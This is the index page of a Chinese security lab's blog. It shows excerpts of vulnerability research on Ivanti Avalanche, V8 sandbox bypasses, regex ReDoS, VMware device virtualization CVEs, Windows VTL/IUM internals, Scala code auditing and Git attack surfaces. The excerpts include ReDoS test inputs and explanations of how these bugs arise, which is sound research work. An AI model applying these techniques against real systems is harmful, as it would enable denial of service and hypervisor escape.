奇安信天工实验室技术博客

👋 奇安信天工实验室,聚焦真实世界漏洞分析。漏洞研究成果曾发表于DEFCON、BlackHat、GeekCon、HITB、ACM CCS、Usenix、EuroS&P、RAID等国际重量级会议。

  • 团队研发的破壳平台,提供基于查询、面向团队协作的漏洞辅助分析能力。

Ivanti Avalanche WLAvanacheServer组件漏洞分析

一、前言 Avalanche Web 应用程序无法独立执行任务,但是它可以自由地使用不同的服务来执行任务。信息路由(也称为 InfoRail 服务)位于两者之间,负责在服务之间分发消息。Web创建一条消息并将其发送到 InfoRail 服务,后者将其转发到适当的目标服务。目标服务处理该消息并再次通过 InfoRail 服务将响应返回给 WebWLAvanacheServer是其中的移动设备服务,默认开启在1777端口上。WLAvanacheServer这个组件首次漏洞公开时间是2023年,成为了Avalanche的新攻击面,本文主要对WLAvanacheServer这个组件进行漏洞分析。 二、消息结构 这里是在6.4.0这个版本上分析消息结构,整个消息结构由三个主要部分组成: preamble header payload 下面是一个详细的消息内存结构: 0:039> dc 0242e8c0 0242e8c0 60000000 21000000 21000000 00000000 ...`...!...!.... 0242e8d0 03000000 05000000 10000000 656e7770 ............pwne 0242e8e0 34313464 34313431 34313431 34313431 d414141414141414 0242e8f0 00000031 00000003 00000005 6e777010 1............pwn 0242e900 32346465 32343234 32343234 32343234 ed42424242424242 0242e910 00003234 00000000 00000000 00000000 42.............. 0242e920 f57527e1 08202df9 0056a528 007713b0 .'u..- .(.V...w. 2.1 preamble 它的长度为16字节,主要由以下部分组成: MsgSize:整个消息的长度 HdrSize:消息头的长度 PayloadSize:消息的payload长度 unk:这里目前不知道是做什么的,应该是某个标志,不影响分析 2....

2024年10月16日 · 9 分钟 · z1r0

V8堆沙箱绕过方法分析总结

一、What is Sandbox 沙箱机制(Sandboxing)是一种安全技术,用来隔离运行中的应用程序或代码,使其在受限的环境中执行。这种机制的目的是限制应用程序或代码与系统资源(如文件系统、网络、硬件)的直接交互,从而防止恶意软件或不受信任的代码造成安全威胁或数据泄露。 当提到chrome沙箱时通常会想到的是用于限制应用程序或代码与系统资源的直接交互的沙箱,而在实际的漏洞利用层面内存安全仍然是一个重要问题,在众多chrome可利用的漏洞中,v8漏洞可以说占到大多数,而V8漏洞很少是"经典"的内存损坏错误(释放后使用、越界访问等),而是微妙的逻辑问题,反过来再利用这些问题来损坏内存。因此,现有的内存安全解决方案在很大程度上并不适用于V8,于是在此背景下衍生出了v8 Sandbox。本文主要对v8 sandbox的一些绕过方法进行汇总分析。 二、V8 Sandbox V8沙箱是一个基于软件的沙箱,其背后的基本思想是隔离 V8堆内存,使任何内存损坏都不会"扩散"到进程内存的其他部分,从而增加v8漏洞的利用难度。具体实现方式有两种: 第一种,如果buffer位于沙盒内,就将40位的地址偏移左移24位后得到的64位结果写入相应字段地址中: disable sandbox: enable sandbox: 通过对%DebugPrint具体的实现代码下断,可以找到具体的decode过程,首先从指定字段地址出得到64位值(sandboxed_pointer),再将sandboxed_pointer右移24位(kSandboxedPointerShift)得到偏移(offset),最后将offset与基址(cage_base)相加得到真实的地址指针: 第二种,如果buffer位于沙盒外,则会将指定字段地址内的值作为索引,通过指针表间接的引用buffer: 例如blink对象,在v8中所有的blink对象都分配在v8堆外,并以api对象的形式在v8中表示: V8 api对象实际上是blink对象的包装器,其中embedder fields字段存储内容用实际为一个表索引,此索引位置保存着对应的blink对象的实际地址及其类型: 同样也可以通过对%DebugPrint实现下断找到具体的decode过程: 三、V8 Sandbox Breaking 3.1 signature confusion breaking sandbox 在V8 webassembly中,wasm模块导出函数主要由函数签名(signature)和函数实现(call_target)组成,假设有以下代码,此代码可以导出read_0与read_1两个函数: (module (memory 1) (func $read_0 (export "read_0") (param $offset i32) (result i64) (i64.load (local.get $offset) ) ) (func $read_1 (export "read_1") (param $var1 i64) (result i64) i64.const 0 ) ) 在js代码中使用read_0(0x41)触发对read_0函数的调用,然后对Builtins_JSToWasmWrapper下断可以得到signature与call_target的获取过程: 先通过函数对象获取shared_info字段,其中r14寄存器存的一直都是基地址,而rdi则是函数对象地址: 通过shared_info字段得到function_data: 通过function_data获取signature,signature对象不在沙盒中,所以是通过外部表的形式间接引用的,所以此处得到的是一个表索引: 通过function_data获取func_ref: 通过func_ref可以得到internal,internal是一个外部对象,而call_target就在internal中并且也是一个外部对象,所以都只能得到一个表索引: 最后Builtins_JSToWasmWrapperAsm函数会通过call rdx进入call_target指向的地址,在通过几个Jmp后会进入真实的jited代码,rax为传入的地址偏移:...

2024年10月09日 · 5 分钟 · Anansi

正则表达式安全研究

一、前言 当探讨计算机科学中的模式匹配技术时,正则表达式(Regular Expressions,通常简称regexp)无疑是一项强大的工具。它广泛应用于文本处理的各个方面,如搜索、编辑或者操控字符串。正则表达式允许用户通过定义特定的字符组合来查找、替换以及操作文本,其应用范围从简单的数据校验到复杂的系统日志分析等不一而足。正则表达式使用广泛,如果使用不当,会带来一些安全问题。 本文主要讨论正则表达式引起的ReDoS拒绝服务,侧信道泄露,权限绕过,数据校验,回溯限制以及正则执行问题。 二、ReDoS 拒绝服务 正则表达式底层通常会使用NFA非确定性有限自动机来实现,将正则匹配转换为路径匹配。举几个例子: 表达式一a:消耗1个字符a,可以从起始0到达终态1实现match 表达式二a*:消耗0个或多个字符a,可以从起始0到达终态1实现match,图中ε表示空串 空字符串可以直接从0->1找到一条访问路径, aa形式的字符串可以0->2->3->4->2->3->4->1的方式找到一条访问路径实现match 到此时似乎一切都没什么问题?看接下来的一个表达式 表达式三(a*)*b:其NFA图如下: 可以看到现在的6-..>7之间的所有路径本质和表达式二一致,如果把它当作一个整体并从更高层次看0->4之间的所有路径像是一个更大的表达式二,11->12路径形式则与表达式一等同。即表达式三由两个表达式二的图以"父图和子图"的方式嵌套并添加一个表达式一构成。 现在考虑如下输入及测试: # 后续文中使用的search都是该函数 # 主要用于打印正则匹配消耗的时间,单位s def search(r,s): a=time.time() re.match(r,s) b=time.time() c=b-a print("use:"+str(c)) >>> search("(a*)*b","a"*22) use:0.24314594268798828 >>> search("(a*)*b","a"*23) use:0.4825863838195801 >>> search("(a*)*b","a"*24) use:1.0666351318359375 >>> search("(a*)*b","a"*25) use:2.1269423961639404 可以看到输入每增加一个a字符,那么正则表达式消耗时间约增加一倍。 回溯问题:正则表达式匹配的时候,先按照贪婪匹配所有的a,之后尝试匹配b的时候发现匹配失败,说明当前路径不匹配,那么会进行路径回退,然后尝试另一条路径,由于"表达式二"的重复嵌套,会造成回退的路径非常多,计算量非常大,最终造成了ReDoS拒绝服务。 对于满足如下几条性质的正则表达式,会存在指数回溯问题 【时间负载度为O(2^n),n是字符的个数】 ReDos是一种算法复杂度攻击,通过提供最坏情况输入来利用算法的攻击。 将 +/* 应用到一个子正则表达式A 子正则表达式A可以多种方式重复匹配相同的输入,比如 a|a / a+ / a|aa 等就能重复匹配输入 在重复的表达式之后要存在一个无法与输入匹配的表达式B 【以便让匹配失败,从而路径回退】 因此之前的测试search("(a*)*b","a"*25)就满足上面的3个性质,下面看一些其它例子: 2.1 情形一:邮件格式匹配 正则表达式: ^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@) {1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$ 分析:表达式中片段(([\-.]|[_]+)?([a-zA-Z0-9]+))* , 其中的+满足条件1,*满足条件2,条件3只要构造特定输入数据就能满足。 测试: >>> search("^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))* (@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$", "a"*25) use:2.2077696323394775 2....

2024年09月25日 · 2 分钟 · kemooo

【DEFCON & HITB】Bug Hunting In VMware Device Virtualization(下篇)

本文是天工实验室在DEFCON上发表的议题《Dragon Slaying Guide: Bug Hunting in VMware Device Virtualization》的第三部分内容。在该议题的前两篇文章中,分别介绍了VMware虚拟化实现和虚拟USB设备漏洞挖掘。 本周将继续讲解议题最后一个部分:SCSI Device Virtualization。主要介绍虚拟磁盘系统SCSI相关设备模拟在VMware Workstation和ESXI下的异同,以及我们在VMKernel中发现的有关磁盘设备模拟的设计缺陷。 一、前言 磁盘设备的代码架构和USB设备类似,首先他有许多作为前端的主机控制器设备模拟代码,比如 LsiLogic,NVME,PVSCSI,AHCI,有趣的地方在与作为连同主机控制器与磁盘设备的中间层代码实际上只处理SCSI协议指令,VMware为每种主机控制器都设计了用于将主机控制器请求翻译成SCSI请求的代码,所有不同磁盘设备的主机控制器请求在最终都会被统一成SCSI指令,后端设备模拟代码同样使用了类似面向对象的设计,从基本的SCSI设备对象可以派生出各种不同类型的设备,CDROM,Disk 等等。 无论是Esxi还是Workstation的 vmx 都有几乎一样的处理代码,但真正引起我们注意的是 Esxi 在默认情况下并没有使用 vmx 中对磁盘请求处理的代码,只有在启用了 HostEmulated 配置时,才会由vmx负责处理。 通过前文对 vmm 部分的分析,我们发现Esxi默认情况下正是通过 vmm 中对 VMKernel 的调用使用 VMKernel 中对应的模拟代码进行处理,这很快就引起了我们的兴趣,在 VMKernel 的范围下,哪怕是出现断言错误都可能带来整个 Hypervisor 的瘫痪,从而引起单个Esxi上所有客户机拒绝服务。 二、漏洞一:CVE-2024-22273:Out-of-bounds Read/Write 关于磁盘部分的第一个漏洞,如果按照控制器-后端设备模型来看,它处于后端设备模拟部分。 VMware会将所有请求在模拟阶段统一转化为SCSI指令,接着解析你访问的磁盘ID,根据磁盘ID来将SCSI指令转发到对应的设备上。转发这一过程,在VMware中有一个专门的函数进行处理,我们将其称为SCSIDevice_Dispatch。在SCSIDevice_Dispatch函数中,首先会解析你SCSI指令中的CDB部分,判断CDB请求是否符合要求。处理完CDB请求后,会来到我们将其称为HBAHosted_PostIo的函数中。 该函数中有一段特别的代码逻辑,这段代码逻辑可以理解为磁盘验证器功能,磁盘验证器负责检测磁盘是否存在坏扇区。验证原理如下:硬盘以块为单位(扇区)写入数据,硬盘每次更新扇区时,也会更新校验和(紧接在扇区数据之后存储)。当从硬盘驱动器读取扇区时,预计扇区校验和将与扇区数据匹配,如果不匹配,则表示磁盘在写入操作期间出现了问题,存在坏扇区。 VMware的磁盘验证器代码中,申请了一块等价磁盘大小的堆作为校验和的存储内容,对磁盘进行访问操作时(Read/Write),磁盘验证器并没有对命令中访问扇区的边界做任何检测与限制,直接计算用户访问的目标扇区的校验和并将其写入对应内存,这就导致了用户访问的目标扇区可能超出磁盘的扇区上限,引发严重的堆越界访问问题。 又因为CDB命令中,读写指令的最大范围为Write16/Read16。 即允许访问的扇区数最大数据类型为uint64,从而形成了骇人听闻的任意写漏洞。 该漏洞同时存在于Workstation/Esxi中,但对应的触发路径不尽相同。在Workstation中,可以从CD/ROM或SCSI磁盘两个方面分别去触发该漏洞;但在Esxi中,只能从CD/ROM去触发漏洞,无法从SCSI磁盘角度去触发。 因为在Esxi中,VMM会判断主机是否处于hostedEmulation模式,如果处于,就将请求通过UserRPC发送到VMX中处理,如果不处于,就将请求通过vmkcall发送到VMKernel,这就导致了在Esxi的磁盘设备上无法触发该漏洞。 当然,正因为Esxi会将磁盘请求发送到VMKernel中去处理,这也引出了后续关于VMKernel中磁盘的漏洞。 三、漏洞二:CVE-2024-37086:Out-of-bounds Read 我们发现,VMware在VMKernel中对发送来的磁盘请求处理已经尽可能的小心翼翼,禁用了许多不必要的SCSI命令,只启用小部分必要的SCSI命令。但即使是在如此谨慎的情况下,被启用的SCSI命令中依然存在严重的设计问题。 SCSI命令中的UNMAP命令允许一个或多个LBA(Logical Block Address)被取消映射,该命令常用在精简配置技术中,以提高存储利用率、灵活的容量规划和不间断存储配置服务。 在SPC-6(SCSI Primary Commands - 6)中对于UNMAP命令的设计如下图所示: 先来解释一下图里重要的数据结构: Table 204 UNMAP command中最重要的字段为PARAMETER LIST LENGTH,表示应用客户端发送到设备服务器的 UNMAP 参数数据的长度...

2024年09月18日 · 1 分钟 · s0duku

【DEFCON & HITB】Bug Hunting In VMware Device Virtualization(中篇)

本文是天工实验室在DEFCON上发表的议题《Dragon Slaying Guide: Bug Hunting in VMware Device Virtualization》的第二部分内容。在该议题的第一篇文章中,介绍了VMware虚拟化实现的内容。 本周将继续讲解议题第二个重要部分:USB Device Virtualization,通过讲解我们挖掘的漏洞,介绍主机控制器、VUsb及模拟USB设备,即整个USB系统视角下各处可能出现的安全问题。 一、前言 我们对vmm和vmx以及是其他位于Host上的服务上进行逆向分析,并且尽可能全面的分析整个 USB 设备的模拟过程,从USB主机控制器的实现(UHCI, EHCI, XHCI)到具体后端USB设备的模拟,并在其中发现了 多个错误,其中一些甚至与天府杯2023的所使用的漏洞达成了一致,接下来我们会介绍VMware对USB系统模拟的实现,以及其中一些典型错误产生的原因,以及所能它们带给我们的启示。 VMware 实现 USB 模拟的代码,大体上可以结构为三个部分,第一个部分为 USB 主机控制器模拟,这部分代码负责模拟 USB 主机控制器设备,包括 UHCI,EHCI,XHCI 三种,这部分代码负责处理整个USB传输中与主机控制器相关的数据传输部分,三种控制器的mmio处理基本都是现在 vmm 中,vmm 负责按照手册标准处理内存寄存器访问的各种实现,并通过UserRpc调用vmx配合实现具体主机控制器的数据传输过程。整个模拟最重要的部分为将Guest传输的数据从主机控制器表示形式转换成保存在URB对象的USB Request形式,并将URB对象通过VUsb中间层传输给后端USB设备。 第二个部分我称为 VUsb 中间层,这层代码负责对接主机控制器和后端USB设备,他在所有后端USB设备上形成了一层抽象,USB主机控制器代码大多负责将Guest的输入重新封装成 URB 对象,VUsb 这层代码则负责管理URB相关的对象,他会更具后端目标设备类型的不同选择不同URB对象分配和释放方式,不同的后端USB设备还会在VUsb层形成一个统一表示后端设备的 VUsbDeviceObj,在传输URB时VUsb还会将Urb交给VUsbDeviceObj中目标Endpoint对应VUsbPipe对象管理。 第三个部分即VUsb 后端设备,VMware实现了大量不同类型USB设备的模拟,包括 HID,Bluetooth,CCID,他们大多采用一个回调函数处理URB对象,并根据URB对象的保存的数据进行行为模拟。其中比较特殊的时VUsbGeneric这类设备,这类设备在Guest Machine表示通用USB设备,一般用来直通Host上的物理USB设备,VMware通过Host上的本地 usbarbitrator 服务转发vmx中的请求数据。 二、漏洞一:CVE-2024-22255: Uninitialized Memory 我们分享的第一个漏洞来自于UHCI控制器模拟部分。在USB设备的控制传输中,USB设备使用有效载荷之一是Standard Device Request,他以 Setup Packet 格式开始。 Setup Packet Format Offest Field Size 0 bmRequestType 1 1 bRequest 1 2 wValue 2 4 wIndex 2 6 wLength 2 其中最有趣的字段在于 wLength,他将提醒 Usb 设备请求跟随的后续数据的长度。Standard Device request 是Usb设备的有效载荷,对于USB主机控制器来说它并不以此为单位传输数据,对于UHCI,他以 Transfer Descriptor 为单位传输数据,并在Guest内存中以Queue Head (QH) 类似链表的形式链接起来。VMware的UHCI控制器在处理控制传输时,需要以单次Standard Device request为单位分配URB对象,他将合并位于Queue Head上所有与请求相关的Transfer Descriptor (TD)中的待传输数据。...

2024年09月11日 · 2 分钟 · s0duku

【DEFCON & HITB】Bug Hunting In VMware Device Virtualization(上篇)

奇安信天工实验室安全研究成果,入选国际顶级安全会议DEFCON 32 和 HITBSecConf 2024,议题名称《Dragon Slaying Guide: Bug Hunting In VMware Device Virtualization》。 我们将该议题分为三篇文章进行详细讲解。本文是第一篇,主要介绍VMware虚拟化实现,为后续深入探讨VMware虚拟设备漏洞挖掘打下坚实的理论基础。 一、Introduction VMware Workstation/ESXi是市场上最流行的商用虚拟化软件之一。其复杂的虚拟化系统设计和在基础设施中的关键地位使其长期成为黑客的顶级目标。对于安全研究人员来说,发现VMware Hypervisor中的虚拟化逃逸漏洞就像在角色扮演游戏中与巨龙较量一样具有挑战性。 本议题揭露了一个新型攻击面:Device Virtualization in VMKernel 。这是迄今为止,尚未被安全研究探索的未知领地。且该攻击视角尚未被VMware考虑进防御体系,其现有的沙箱机制理论上完全无法防御从VMKernel发起的攻击。在对本次攻击面的分析和VMware Hypervisor的逆向工程中,我们发现了8个与设备虚拟化相关的漏洞,其中5个漏洞已经被分配了CVE编号(CVE-2024-22251、CVE-2024-22252、CVE-2024-22255、CVE-2024-22273、CVE-2024-37086),其余3个漏洞已经被VMware确认。 本议题将从VMware虚拟化实现、USB Device Virtualization 和 SCSI Device Virtualization 三个部分递进讲解,如何发现VMKernel这个攻击面,找到多个未知漏洞的过程。 本周将为大家介绍第一部分:VMware虚拟化实现。该部分会深入介绍 vmm 的加载过程,vmm与vmx数据共享功能的实现,VMware的UserRPC这一Hypervisor与Host通信的实现,这些都是在虚拟设备模拟中至关重要的机制。 二、VMware Virtualization Details 我们将通过介绍我们对VMware 设备虚拟化的逆向工作,来展示我们是如何发现VMKernel这一与设备虚拟化相关的新攻击面的。为了方便阐述我们会用自己逆向所定义的符号名配合代码片段进行解释,其中也有部分符号直接来自于open-vm-tools,我们发现open-vm-tools与vmx共享很多通用数据结构,这加速了我们的逆向分析过程。 我们都知道VMware利用UserRpc机制完成了对很多虚拟设备的实现,在分析具体UserRpcHandler时我们总是会发现vmx经常会使用一些与vmm称为SharedArea 的共享数据,只审计UserRpcHandler我们无法判断这些数据的来源与去向,这时常会让我们有些抓狂。所以我们决定首先分析 UserRpc 的实现,以了解VMware在设备虚拟化方面的工作流程,判断我们在Guest中的数据可以影响的二进制代码块。 三、UserRpc In VMX 当 vmx 进程启动时,其最重要的部分就是按顺序初始化系统需要使用的所有模块,这个模块的表项由模块名和启动初始化函数组成,他很容易从二进制入口点静态分析追踪到,除此之外我们还使用了API Monitor 来监控vmx与内核模块vmx86.sys的通信过程,通过IOCTL指令立即数,我们能在vmx中定位到对应请求发起的位置,以及在vmx86.sys中对应的处理代码。幸运的是,我们能在IDA中看到一些调试日志字符串,这让我们更容易理解相应IOCTL指令的含义。 首先引起我们注意的便是 “IOCTL_VMX86_RUN_VM” 这条指令,他被调用于一个线程的循环内。代码结构上,它一直保持循环调用并会使用 IOCTL_VMX86_RUN_VM 的返回值作为参数之一传递给 Monitor_ProcessUserRpcCall 负责调用对应的处理函数。这种代码结构正是我们需要寻找的 vmm 切回宿主机并调用 vmx 处理UserRpc请求的过程代码,Monitor_ProcessUserRpcCall 其中调用功能函数表就是 Vmware 的 UserRPC 功能在 vmx 侧的实现,并且这些UserRpcHandler函数使用了称为userRpcBlock的共享内存区域指针作为其唯一的参数。...

2024年09月04日 · 2 分钟 · s0duku

深入解析Windows VTL机制 & IUM进程

一、前言 现今的Windows操作系统已经融合了虚拟化技术作为自身的核心功能,Windows平台下的虚拟化技术的应用也不仅限于Hyper-V虚拟化软件的应用,在一些用于保护Windows系统的安全功能中,虚拟化技术的使用也变得尤为重要。现在我们就来简单探索下Windows的VTL机制和IUM进程,这两种基于虚拟化技术的安全功能。 二、VTL机制和IUM进程介绍 Virtual Secure Mode(VSM)最早在Windows10和Windows Server 2016中被引入,是基于Windows平台下的虚拟化技术的安全功能,使用的是Hyper-V的虚拟化组件。 VSM的主要作用是,在这个安全功能开启的情况下,即使主机上的内核或者驱动程序(即Ring0层)受到攻击,受到VSM体系保护的数据依然可以保持安全,保证数据不被篡改或者无法被访问,甚至攻击者处于Ring0权限下。 与我们熟知的VMware或者QEMU虚拟化软件不同,Hyper-V的虚拟化实现是裸金属架构的,即Hypervisor层的组件运行在实体的硬件上,而无论是所谓的Guest(Child Parition)或者Host(Root Parition)都是Hypervisor层之上抽象出来的。 那么,Hyper-V的技术架构是VSM功能的基础,无论是Guest还是Host,实际上都可以通过Hypervisor来控制不同分区对硬件资源的使用能力从而实现在VSM中提及的安全功能。 VSM功能的引入同时引入了一个新的概念——VTL。 Virtual Trust Levels(VTL),VSM通过VTL来实现和维护隔离。VTL是有层级概念的,例如熟知的Ring0~3层级权限。但是与Ring0~3概念不同的是,VTL的层级权限是级别高的权限要高于级别低的权限。举个例子:VTL0的权限 < VTL1的权限;VTL1的权限 < VTL2的权限。在微软对VTL的代码实现里,最多支持16个级别VTL,但是截止到目前的关于VTL的代码中,微软只实现了2个级别的VTL。 为了更直观的展示VTL的作用,这里使用了微软官方给出的IUM架构体系图。 从图中可以看到,我们所熟知的Windows内核态和用户态都属于VTL0级别下,而SecureKernel和运行在同VTL层级下的用户态进程属于VTL1级别下。此时,假如我们在VTL0种进行内核调试,都无法修改VTL1层级下的用户态进程空间内存。这个例子说明了低级别VTL无法影响到高级别VTL内存空间,不同的VTL级别之间有着明显的隔离边界。 有了VTL这个概念之后,下面我们来介绍下什么是Isolated User Mode(IUM)进程。通俗来讲,IUM进程就是运行在VTL1层级下的用户态进程。最简单的例子就是LSAIso.exe进程,当这个进程运行在VTL1层级下时,无论是在用户态还是内核态都无法修改这个进程的内存空间,同样地,对其进行调试也是无法进行的。 下面,我们一起来探索VTL机制和IUM进程(以及如何调试IUM进程)的一些内部细节。 三、必要的硬件虚拟化知识(Intel) 在探索之前,我们还需要简单的了解下CPU硬件虚拟化知识,这里我们以Intel处理器(Intel VT-x)加以介绍。 这里首先要介绍的是Intel VT-x和VMX是什么。Intel VT-x的全称是Intel Virtualization Technology for x86,这个东西就是所谓的Intel硬件虚拟化技术,而VMX是其实现的架构,全称为Virtual-Machine Extensions。在VMX下引入了两个概念:VMX root operation和VMX non-root operation模式。 VMX的root和non-root operation模式可以简单地理解成,hypervisor也就是虚拟化层,即VM管理者(VMM, virtual machine monitor)和Guest所使用的环境。这两种模式可以互相转换,当从VMX的root模式转换到non-root模式时,这个行为被称作VM-entry。那么当VMX的non-root模式切换到root模式,这个行为被称作VM-Exit。 假设目前VMX处于non-root状态,此时是在执行Guest中的代码,如果执行时遇到了比如CPUID,读写MSR寄存器等操作时,Guest操作系统会被暂停,并产生Vm-Exit事件,同时陷落入VMM,即root operation状态中。VMM根据不同的VM-Exit原因来处理(模拟)此时Guest的执行指令,处理数据并返回结果,最后vmm通过执行vmresume指令重新让Guest系统继续运行,此时的VMX状态又变回了non-root状态。 在VMX进行root和non-root operation状态切换时,VMCS(Virtual Machine Control Structure)用来配置此时发生切换的处理器状态和执行的环境。在Hyper-V的虚拟化环境中,每个虚拟处理器都对应着一个或者多个VMCS。 VMCS中有很多字段,对应着当前虚拟处理器的状态信息,比如用于记录当前VM-Exit信息的"Exit reason"字段,通过阅读Intel手册发现这个字段对应的ID是0x4402。因为VMCS中的字段信息无法直接通过读取物理内存的方式读取到,所以这里必须使用Intel给出的指令集vmread/vmwrite来读写对应的字段内容。 #define EXIT_REASON_EXCEPTION_NMI 0 #define EXIT_REASON_EXTERNAL_INTERRUPT 1 #define EXIT_REASON_TRIPLE_FAULT 2 #define EXIT_REASON_INIT_SIGNAL 3 #define EXIT_REASON_SIPI_SIGNAL 4 #define EXIT_REASON_INTERRUPT_WINDOW 7 #define EXIT_REASON_NMI_WINDOW 8 #define EXIT_REASON_TASK_SWITCH 9 #define EXIT_REASON_CPUID 10 #define EXIT_REASON_HLT 12 #define EXIT_REASON_INVD 13 #define EXIT_REASON_INVLPG 14 #define EXIT_REASON_RDPMC 15 #define EXIT_REASON_RDTSC 16 #define EXIT_REASON_VMCALL 18 #define EXIT_REASON_VMCLEAR 19 #define EXIT_REASON_VMLAUNCH 20 #define EXIT_REASON_VMPTRLD 21 #define EXIT_REASON_VMPTRST 22 #define EXIT_REASON_VMREAD 23 #define EXIT_REASON_VMRESUME 24 #define EXIT_REASON_VMWRITE 25 #define EXIT_REASON_VMOFF 26 #define EXIT_REASON_VMON 27 #define EXIT_REASON_CR_ACCESS 28 #define EXIT_REASON_DR_ACCESS 29 #define EXIT_REASON_IO_INSTRUCTION 30 #define EXIT_REASON_MSR_READ 31 #define EXIT_REASON_MSR_WRITE 32 #define EXIT_REASON_INVALID_STATE 33 #define EXIT_REASON_MSR_LOAD_FAIL 34 #define EXIT_REASON_MWAIT_INSTRUCTION 36 #define EXIT_REASON_MONITOR_TRAP_FLAG 37 #define EXIT_REASON_MONITOR_INSTRUCTION 39 #define EXIT_REASON_PAUSE_INSTRUCTION 40 #define EXIT_REASON_MCE_DURING_VMENTRY 41 #define EXIT_REASON_TPR_BELOW_THRESHOLD 43 #define EXIT_REASON_APIC_ACCESS 44 #define EXIT_REASON_EOI_INDUCED 45 #define EXIT_REASON_GDTR_IDTR 46 #define EXIT_REASON_LDTR_TR 47 #define EXIT_REASON_EPT_VIOLATION 48 #define EXIT_REASON_EPT_MISCONFIG 49 #define EXIT_REASON_INVEPT 50 #define EXIT_REASON_RDTSCP 51 #define EXIT_REASON_PREEMPTION_TIMER 52 #define EXIT_REASON_INVVPID 53 #define EXIT_REASON_WBINVD 54 #define EXIT_REASON_XSETBV 55 #define EXIT_REASON_APIC_WRITE 56 #define EXIT_REASON_RDRAND 57 #define EXIT_REASON_INVPCID 58 #define EXIT_REASON_VMFUNC 59 #define EXIT_REASON_ENCLS 60 #define EXIT_REASON_RDSEED 61 #define EXIT_REASON_PML_FULL 62 #define EXIT_REASON_XSAVES 63 #define EXIT_REASON_XRSTORS 64 #define EXIT_REASON_UMWAIT 67 #define EXIT_REASON_TPAUSE 68 #define EXIT_REASON_BUS_LOCK 74 #define EXIT_REASON_NOTIFY 75 通过vmread读取0x4402 id字段的内容,就可以得到VM-Exit的原因,VMM根据上图中这些若干的原因进行处理,完成处理后,将结果改写到例如Guest中的寄存器中,此时也需要通过vmwrite改写其中关于Guest寄存器信息的字段,最后通过vmresume将控制权交还Guest。...

2024年08月21日 · 18 分钟 · hongzhenhao

Scala代码审计之痛 -- Scala与Java的爱恨情仇

一、前言 Scala 是一门多范式的编程语言,集成了面向对象编程和函数式编程的多种特性。函数式编程抽象的理论基础也让这门语言变得抽象起来,初学者需要花更多的时间去理解其特有概念以及众多的语法糖。Scala是一门运行在JVM平台上的语言,其源码编译结果符合Java字节码规范,所以可以被反编译为Java代码。在进行Scala代码审计的过程中,审计者很少有机会直面其源码,大多数时候都是被反编译为Java的代码所支配。Scala与Java毕竟是两门语言,反编译成Java代码的后果便是丧失了动态调试的能力(这为审计者带来了不小的麻烦),反编译后产生的中间代码、临时变量等辅助结构更是极大得降低了代码的可读性。本文将带领诸位抽丝剥茧逐步梳理出Scala各语法结构与Java语法结构对应关系,最后以两个漏洞案例的分析加以对比说明。 二、特殊语法结构识别 除了循环、条件判断、面向对象等基础语法外,Scala还提供了极具特色的语法结构,如:模式匹配、隐式转换、传名调用、函数柯里化、伴生对象、特质、提取器、函数式编程等。本章不会重点着墨于这些语法的介绍,而是向读者展示在将Scala源程序反编译为Java代码后产生的那些不太常规的语法结构以及一些奇怪的变量(MODULE$/$outer/package/$init$)等。 2.1 伴生对象 本节将会涉及到特殊变量MODULE$的含义 Scala中没有static关键字,其通过伴生对象来实现static的效果。伴生对象是类自身定义的单个实例,可以被理解为当前类的一个单例对象(并不显式依赖一个类,可独立存在),以下代码展示了一个类的伴生对象: package org.example class Singletons(){ private var llac: String = "九敏啊,我是伴生类的私有属性,我被伴生对象调用了" private def callSingleField(): Unit = { // 调用伴生对象的私有属性 println(Singletons.call) } } object Singletons { private var call: String = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" def sayHello(llac: String): Unit = { println(llac) } def main(args: Array[String]): Unit = { val s: Singletons = new Singletons() // 调用伴生类的私有属性 sayHello(s.llac) // 调用伴生类的私有方法 s.callSingleField() } } 在上面提供的代码中,被关键字object修饰的对象被称为类Singletons的伴生对象,类Singletons被称为object关键字修饰的对象的伴生类,两者可互相调用其私有属性以及方法。 Scala语言是运行在jvm上的,其最终编译结果符合Java字节码规范,于是便可以将其反编译成为Java代码进行查看,这样会得到与Scala源代码迥然不同的代码结构,并产生一些中间代码。审计者在进行Scala代码审计时大多数时候面对的都是被反编译成为Java代码的Scala程序,所以如何快速高效地识别Scala代码转换后的语言结构就尤为重要,特别是一些特殊的变量。 以下便是上文Scala源代码反编译成为Java代码后的形态:...

2024年08月07日 · 16 分钟 · falc0n_leo

Git 出乎意料的攻击面

一、来自Git的威胁 现如今,很多软件开发者已经对git工具非常熟悉,很多人的开发流程中会使用这个工具进行仓库备份,与其他开发者进行代码同步,实现合作开发等等。然而,这样的工具也可能成为黑客入侵的突破口。本文就git的相关基础以及实际案例,列举现阶段中git可能出现的攻击面。 二、Git工作原理 在聊git的攻击面之前,我们需要弄清楚git是怎么工作的。举个例子来说,假设我们现在有一个空仓库叫做main-repo,此时我们在其中创建文件test.txt,test.txt中包含内容: 123 在未commit的时候,此文件结构如下: ├── .git │ ├── HEAD │ ├── config │ ├── description │ ├── hooks // 省略这其中的文件 │ ├── info │ │ └── exclude │ ├── objects │ │ ├── info │ │ └── pack │ └── refs │ ├── heads │ └── tags └── main.txt 此时,如果我们将这个修改commit之后,目录结构会变成如下: . ├── .git │ ├── COMMIT_EDITMSG │ ├── HEAD │ ├── config │ ├── description │ ├── index │ ├── info │ │ └── exclude │ ├── logs │ │ ├── HEAD │ │ └── refs │ │ └── heads │ │ └── main │ ├── objects │ │ ├── 45 │ │ │ └── bfe823309403a8fd790cce2013dda0e7f67b5b │ │ ├── 8e │ │ │ └── 1e8a2e68efa3744caf8b601bd0de70c6fe4b66 │ │ ├── bf │ │ │ └── 1fa3d901014eeb98e85a0ed1cd1dd0e83ab3f6 │ │ ├── f6 │ │ │ └── c47b7d00ea7068e091f23601063a1f557df458 │ │ ├── fe │ │ │ └── 8fd7574c9a5c4f805f8239829989cef7129d29 │ │ ├── info │ │ └── pack │ └── refs │ ├── heads │ │ └── main │ └── tags ├── ....

2024年07月31日 · 9 分钟 · l1nk

JDBC Attack 与高版本 JDK 下的 JNDI Bypass

